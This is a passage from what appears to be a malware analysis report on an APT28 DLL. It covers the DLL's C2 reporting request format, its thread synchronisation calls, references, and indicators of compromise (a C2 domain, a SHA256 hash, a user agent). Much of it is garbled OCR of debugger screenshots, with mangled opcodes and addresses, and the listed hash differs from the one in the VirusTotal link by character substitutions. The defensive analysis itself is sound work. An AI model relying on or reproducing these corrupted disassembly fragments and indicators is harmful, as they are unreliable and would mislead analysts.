0488FSCBIEF 69 €B 2E|64 &C €C 20(22 00 00 00|00 00 00 00|ofk.d11 "....... | ravarsaa : Y

Figure 61

The process communicates again with the C2 server, and we believe that it transmits the
result of the DLL execution (we won’t go into too much details here because it’'s pretty much
the same activity described so far). The parameters of the request are again as follows: “id=
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<hostname>#Username#<Serial number in decimal>&current=1&total=1&data=<data to be
transmitted>".

Main thread activity

The main thread sets the event created before to the signaled state:

® | 6EDTIDET | FF 35 26 1B DB 68 pu sh dword m:r ds: EBQE].BESJ | X87SW_SF O XB7SW_P 1 x87SW_U 0
o| ceo710ED| C7 45 F8 00 00 00 00 | dwor d s: febp B
g | FF 15 78 BO D7 6B :a‘l'l mr ur ds L= &5::2 vent=]_ =
,Em : FE 15 18 8007 o8 — = |W{smm|} >[5 [#]0] unlock
= g = . = e 1: [esp] 00000278
dword ptr [GBD7BO7E <apt2B.&SetEvent>]=<kernel3Z.SetEvents> |_z; eso 4] 00000000

I3 sp+8] 00000000
it CUEATET aptos iy SSADEA MATEY |4 ;asm-cj 02F81068 L™\ "C:\\users\ \IIl\Desktor

S T S O Bt G S W - IR G0000276 |

The malware retrieves the termination status of the 2 threads using the
GetExitCodeThread API:

50 push eax XBTSW_SF O xBTSW_} 1 X87SW_U o
53 lousn ebx | | wgzow oo wezow 7 O wOTew N n
FF D& call esi ESTEGET .,
e s Ee T T NI T ST | =
5 % Deladt(stdal} >[5 #][J unlod
T T e e = 00000
esi=<kernel32.GetExitcodeThread> (76A74EFD) H “3’; oosi E;q
!3: esp 9} 00000000
.text:GEDT1EDS apt28.d11:$1E0S #1205 l[. _ﬁDﬂ: &
o1  EHoump2  WEDump3  @Dumpd  WNDumpS @ watch1  bellocals 4 Struct [ty A
o || 6BD71E0A 50 sh eax | KB Sl‘ SF (J !(3 5“ P 1 BTSW_U o
e/ cen7icos 57 p sh e-:- | = f 0 _xezcwn o
FF D6 |call e s _ e
rr - P e e evrrar ¥ | o =
oo 3 BA NT £B i »r A ) (stdcal) »|[s BOL
. - - " 1: [esp] 00000280
esi=<kernel32.GetexitCodeThread> (78A74EF0) 2 esg* D091FBS4
3: esp+81 00000000
~ | #: [esp+c]_oooo00000
.Text:6BDT1EOC apt28.d11:$1E0C #120C IC
@Woump1  @oump2  WHDump3  ENoump4  WDumps @ warch1  bellocals ) struct e e

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

VirusTotal:
https://www.virustotal.com/gui/file/ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f
5ae7ad4ad583698/detection

Fakenet: https://github.com/fireeye/flare-fakenet-ng

Cluster25: https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf

INDICATORS OF COMPROMISE
C2 server: updaterweb[.Jcom
SHA256: ae0bc3358fefOca2a103e694aa556f55a3fed4e98bab7d16f5ae7ad4ad583698

User-Agent: Opera
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